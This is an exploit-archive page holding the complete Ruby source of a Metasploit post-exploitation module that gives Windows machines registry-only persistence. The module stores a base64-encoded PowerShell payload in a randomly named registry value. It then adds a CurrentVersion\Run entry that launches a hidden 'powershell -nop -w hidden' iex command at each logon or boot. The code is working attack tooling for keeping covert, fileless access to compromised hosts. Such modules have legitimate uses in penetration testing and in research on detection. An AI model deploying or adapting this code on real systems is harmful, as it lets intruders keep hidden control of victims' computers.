Windows Multiple - Registry Only Persistence

2015.09.04
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' require 'msf/core/post/file' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Registry include Msf::Post::File def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Registry Only Persistence', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). The payload will be installed completely in registry. }, 'License' => MSF_LICENSE, 'Author' => [ 'Donny Maasland <donny.maasland[at]fox-it.com>', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter', 'cmd' ], 'Targets' => [ [ 'Automatic', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Jul 1 2015", 'DefaultOptions' => { 'DisablePayloadHandler' => 'true' } )) register_options([ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('BLOB_REG_KEY', [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), OptString.new('BLOB_REG_NAME', [false, 'The name to use for storing the payload blob. (Default: random)' ]), OptString.new('RUN_NAME', [false, 'The name to use for the \'Run\' key. (Default: random)' ]), OptBool.new('CREATE_RC', [false, 'Create a resource file for cleanup', true]), ], self.class) end def generate_payload_blob opts = { use_single_quotes: true, encode_final_payload: true, } blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1] return blob end def generate_cmd(root_path, blob_key_name, blob_key_reg) cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\"" return cmd end def generate_blob_reg blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8) return blob_reg_key, blob_reg_name end def generate_cmd_reg cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8) return cmd_reg end def install_blob(root_path, blob, blob_reg_key, blob_reg_name) blob_reg_key = "#{root_path}\\#{blob_reg_key}" new_key = false if not registry_enumkeys(blob_reg_key) unless registry_createkey(blob_reg_key) fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") end print_good("Created registry key #{blob_reg_key}") new_key = true end unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") fail_with(Failure::Unknown,'Failed to open the registry key for writing') end print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") return new_key end def install_cmd(cmd, cmd_reg, root_path) unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') fail_with(Failure::Unknown,'Could not install run key') end print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") end def get_root_path if datastore['STARTUP'] == 'USER' root_path = 'HKCU' else root_path = 'HKLM' end return root_path end def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory ::FileUtils.mkdir_p(logs) # logfile name logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') logfile end def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this clean_rc = log_file() @clean_up_rc = "" @clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n" if new_key @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" end @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => session.session_host, type: 'host.persistance.cleanup', data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc } ) end def check unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") return Msf::Exploit::CheckCode::Safe end return Msf::Exploit::CheckCode::Vulnerable end def exploit unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") print_warning('Warning: PowerShell does not seem to be available, persistence might fail') end print_status('Generating payload blob..') blob = generate_payload_blob print_good("Generated payload, #{blob.length} bytes") root_path = get_root_path print_status("Root path is #{root_path}") blob_reg_key, blob_reg_name = generate_blob_reg cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) cmd_reg = generate_cmd_reg print_status('Installing payload blob..') new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name) print_status('Installing run key') install_cmd(cmd, cmd_reg, root_path) if datastore['CREATE_RC'] create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) end end end


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